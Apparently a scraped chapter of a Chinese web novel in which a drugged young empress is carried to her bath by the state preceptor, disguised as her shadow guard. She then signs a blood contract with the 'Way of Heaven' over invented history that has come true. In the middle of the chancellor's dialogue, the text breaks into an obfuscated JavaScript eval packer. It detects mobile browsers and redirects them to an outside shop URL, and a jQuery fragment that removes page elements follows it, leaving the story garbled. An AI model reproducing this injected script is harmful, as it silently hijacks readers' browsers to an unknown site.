20. 下药

作品:《乱编的野史成真后

    “热……”


    陆清瑶难受极了,似乎有无数热浪一而再、再而三地袭来。


    她迷迷糊糊地想宽衣解带,可仅存的理智告诉她,不能这么做,还在外面。


    陆清瑶紧紧搂住唯一的冰凉温度的来源,影卫在耳旁的呼吸声清晰得吓人。她欲哭无泪,真不是她想占人家便宜,只是这药力太强大,她实在是控制不住,恨不得跳进一个冰窟里面。


    “还有多久……”


    陆清瑶哑着嗓子问。


    平日里觉得寝宫也不远,怎么今日影卫抱着她走了这么久。


    “陛下……”


    “还活着。”


    陆清瑶已经带上哭腔,现在还活着,过一会儿就不一定了。浑身似乎有蚂蚁在爬,又麻又痒难受得不得了。生理性泪水遏制不住地沁出,竟然都是温热的。


    “快……快进去。”


    陆清瑶催促道。


    把她扔进去也行!


    这个时候还管什么君臣什么纲常之类的吗。陆清瑶已经准备自己爬进寝宫时,察觉到抱着她的男人终于挪动了步伐。


    影卫将陆清瑶放在床上,陆清瑶立刻爬下去,紧紧贴着冰凉的地面,舒服地叹了口气。


    “拿,拿几个冰块,过来。”陆清瑶清醒了一点点,低声断断续续吩咐道,“放,放冷水,朕要,沐浴。”


    努力说完后,她又被热浪袭击,难受得闭着眼在地上打了好几个滚。


    影卫走了么,她真的要脱衣服了!


    这什么材质的衣裳,这么厚实啊……


    意识朦胧的陆清瑶仓促拉开了衣带,褪下裹挟着热度的衣裙,顿时凉快一大截。她踉踉跄跄摸索到窗沿边,竭力迎接夜晚冷风的吹拂。


    不知道是什么药,感觉适合冬天冷的时候吃一颗,比暖宝宝什么的有用得多。


    “陛下……”


    陛下不见了。


    影卫蹙眉,陛下现在的状态很差,如若被不怀好意的人看到,恐怕……他心莫名慌乱得不行,焦急地呼唤着陛下。


    现在都什么时候了……


    影卫咬唇,按住要打破规矩而不安的心,踏进了寝宫深处。


    先前他只是将陛下放在厅堂供短暂歇息卧榻上,因而还不算进入寝宫。可现在……罢了,只是为了救人。


    还未走几步,就怔住。


    反应过来自己居然盯着衣衫不整的陛下看了许久,他脸瞬间爆红,恨不得穿回刚刚踏足寝宫时杀了那个时候的自己!


    已经夺步而逃至宫殿外头,影卫堪堪收住脚步。他在做什么……


    陛下被人下药,作为属下的他不但袖手旁观,还只留轻易会被人采撷的陛下一人在寝宫。


    只是为了救人。


    他心道。


    影卫用力攥拳,铁锈味布满口腔。毕竟他对陛下并无什么想法,也根本不可能有那种感情,所以他大可以淡然回去,将陛下抱至水池里。


    哪怕陛下未着片缕,他也能泰然处之。


    他告诉自己。


    影卫摘下银制面具,露出冷艳的面庞。他的身影倒影在水中,与国师无二。林微深深吸了口气,驱散乱七八糟的念头与燥热感。许是刚刚离陛下太近,他都被沾染了药效。


    当初就不该扮作影卫!


    回想着陛下调戏“影卫”的种种,气不打一处来。又因为“影卫”身份,不能想做国师时疏离、忤逆陛下。


    憋屈至极。


    林微调转脚步,往寝宫走去。


    被戏耍了这么多次,也该他看看陛下失态的模样,就当是报复了。想清楚后,他全然无了心理负担,很快来到寝宫。


    在门口驻足片刻,林微硬着头皮塌了进去。


    就这一次。


    “陛下……”


    林微压着声音,道:“已备好水,随属下去沐浴。”


    陆清瑶抱着桌角,仰着头,努力去看和她说话的人,有点懵,疑惑道:“国,国师大人?”


    林微:“……”


    糟糕,竟忘戴面具。


    他毕竟是慕少艾的年纪,陛下正青春年少风华正茂,心绪被扰乱是正常的。如若他一点感觉都没,那和幽州那边的和尚又什么区别?


    那群和尚还会背着方丈去烟花之地寻欢作乐呢。


    他也是血肉之躯,这些都是人之常情。


    林微松了口气,又可以坦然面对陛下了。


    “嗯。”林微冷声道,“臣带陛下去沐浴。”


    “国师大人辛苦了。”陆清瑶小声道,自然地张开双手,被林微抱起,往沐浴处走去。


    “你走得,好慢……”陆清瑶有点不满。


    一步一僵的林微咬牙,终于走到水池旁。望着被药折磨的陛下,他不断给自己催眠:怜悯之心,人皆有之。陛下只是一个小姑娘,原本是无忧无虑的年纪,却要受阴险之人陷害中药。


    因而,他在听到对方诚心说“辛苦”时,会有怪异的酥麻感,也是寻常的。


    林微沉默了半晌,总觉得自己的思路似乎哪里逻辑不顺。


    做人不能钻牛角尖,他告诉自己,逻辑不顺就不顺吧,现在可以走了,最好嘲讽陛下两句,然后冷冰冰地离开寝宫。


    “国师大人……”陆清瑶满脸燥热,声音变得更加沙哑。


    “能不能不要盯着我看,好尴尬……”


    她一动都不敢动,生怕是不是水里有什么暗器,要不然国师怎么会一直盯着她呢。


    林微:“!”


    嘲讽的话一下子哽在口头,林微闭上眼,认命地背过身,默念清静经,压下种种惹人恼火的情绪。


    “国师大人。”陆清瑶意识清晰了一点,她趁着人还没走,赶紧问,“你听说过‘红薯刺客’么。”


    宴席上她与丞相谈论此事,可丞相闻言哈哈大笑,一口咬定是她精神错乱了。


    这不是京城的最为出名的刺客么!


    等了许久,国师都没张开他那难以撬开的嘴。陆清瑶又被药效折磨得头疼发热,只能先作罢,不去追究什么红薯刺客了。


    恍恍惚惚似乎从池子里爬了出来,又模模糊糊穿了衣服。陆清瑶愣了一下,应该是穿了吧,或者是被什么裹了一下。反正就这么躺到了舒适的龙床上,她浑身发软,放空思绪,沉沉睡去。


    “国师大人……”


    陆清瑶有点吃惊,她何时坐起了身,国师大人又何时来到她身旁?按理说,国师大人肯定会利落地离去啊,怎么会留下来。


    瞄到男人手里攥住的东西时,她瞳孔猛缩。


    匕首……


    是登基大典上,国师做祭天仪式时用的那个匕首。


    此人,不是国师。


    国师大人性子冷清,可眼前的男人不能用“冷”去形容了,他仿佛与周遭的事物有壁,浑身散发着渗人的凉意。


    而这凉意,陆清瑶能感知到,也许不是针对她的,而是一种缥缈的,纯粹的理智。


    匕首上的图案很眼熟。


    是“一关”。


    她眼前忽然浮现起这个图案,此时才真切地看到了形状,也止不住冷汗直冒。不是“一关”,而是一个箭头,指向“天”。


    什么意思……


    “客官,咱们这儿近期确实来了剿匪的官兵。”梁镇店小二继续道,“可……那桌并无人啊,您或许看走眼了。”


    陆清瑶一愣,她有点懵,那些带着令牌的人确实在那里啊。


    只好讪讪一笑,将疑惑按在心中。


    “陛下,哈哈哈哈哈……”丞相仰天大笑,“什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268572|139264||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    红薯刺客,那臣还是山芋刺客呢……”


    陆清瑶蹙眉,这丞相怎么如此失态地嘲笑她!


    还有……那日国师大人明明中了一箭,但袁将军却否认了。对了,那箭上也是这般图案!


    ……


    种种情形在脑子里缠绕、一一浮现出来撞击她的思绪,陆清瑶猛然间醍醐灌顶。


    她知道了。


    这些奇怪的情景,都是出现在她有些醉酒时的,不过,这些也不全然是假的。


    男人举起匕首——


    陆清瑶颤抖着趴在床上,竭力冷静道:


    “再,再给我一次机会。”


    她害怕极了,潜意识里感觉如果被匕首刺中,会魂飞魄散……


    等了一会儿没有等到疼痛,陆清瑶抬眸。


    与国师一般的俊美得令人心碎的男人,冷冷看着她的眼睛,似乎在思索。


    过了半晌,眼前出现了一份空白诏书。


    如有神力驱使,上面显现出墨迹,浮现了一行内容:


    ——填补阙口,以安太平。


    ——一年为期,违者抵命。


    陆清瑶深深吸了口气,道:“……遵旨。”


    接着,一股无形的力量推搡着她,她的指腹一阵刺痛,红色的鲜血流淌而出,浸满整张诏书。


    而那冷漠男子也拿了一块玉。


    陆清瑶认得,是玉玺。


    可又与寻常玉玺不太一样,很奇特,仿佛有神力。


    盖下后,骤然间有什么东西从身体里抽离了出去,陆清瑶莫名知道,是她一部分的灵魂。她很想哭,莫名签订了这个奇怪的契约,可又不得不照做,如果不签,她会死。


    死的彻彻底底,在任何一个世界里,都不得往生。


    她不知道为何会知道这些,可就是知道。像是有什么人把这些东西灌输给了她,以此威胁她。


    陆清瑶欲哭无泪,恍恍惚惚间只觉疲乏,沉沉睡去。


    醒来时,影卫在身旁。


    他并未看到什么奇怪男子,倒是给陆清瑶一本传奇小说,名为《红薯刺客》。


    陆清瑶尴尬至极。


    她想起来了。


    现在的她无比清醒。


    根本没有什么红薯刺客,因为这是那天她和娘亲在镇上看的书!那些带着令牌的人,是天道来捉捕她的,而那天的箭,也是天道对她在其位、不司其职的惩罚!


    可是……


    活尸案,又是怎么一回事呢。


    陆清瑶扒拉出从荆州带过来的案宗,翻到梁镇埋尸案时心差点从胸膛跳出来。


    怪不得,怪不得其他人都认为活尸案已告破了,只有陆清瑶她还觉得需要去捉嬷嬷……


    嬷嬷根本不是梁秋,真正的梁秋,在多年前被杀害了,她便是埋尸案的受害者。


    她与大太监一样,是《野史》带来的bug。因为陆清瑶小时候听说过这个案子,就误以为嬷嬷叫做梁秋,还把她写成了宫中的嬷嬷。


    而真正的嬷嬷,只是村头卖豆浆的阿婆,因不适应宫中生活,早就回去继续豆浆营生了……


    而那些毒菇,则是荆州死者家出售的,所以他们才会连夜将毒菇埋起来。毒菇味道异常鲜美,荆州那户人家贪财做食肆营生,放了毒菇,却导致众人中毒。


    大太监因卖“仙丹”骗取钱财被抓,嬷嬷也回到村里继续卖豆浆,只有陆清瑶还在做皇帝,怪不得“天道”要来除掉她。


    陆清瑶心情复杂,如果她想办法找到先帝,将皇位还给先帝,是不是就不用担心被“天道”除掉了?


    脑中突然一阵刺痛!


    陆清瑶赶紧摒弃乱七八糟的念头,并且拼命保证会继续做皇帝,疼痛感才消散。


    她苦笑,合着被逼着做皇帝了。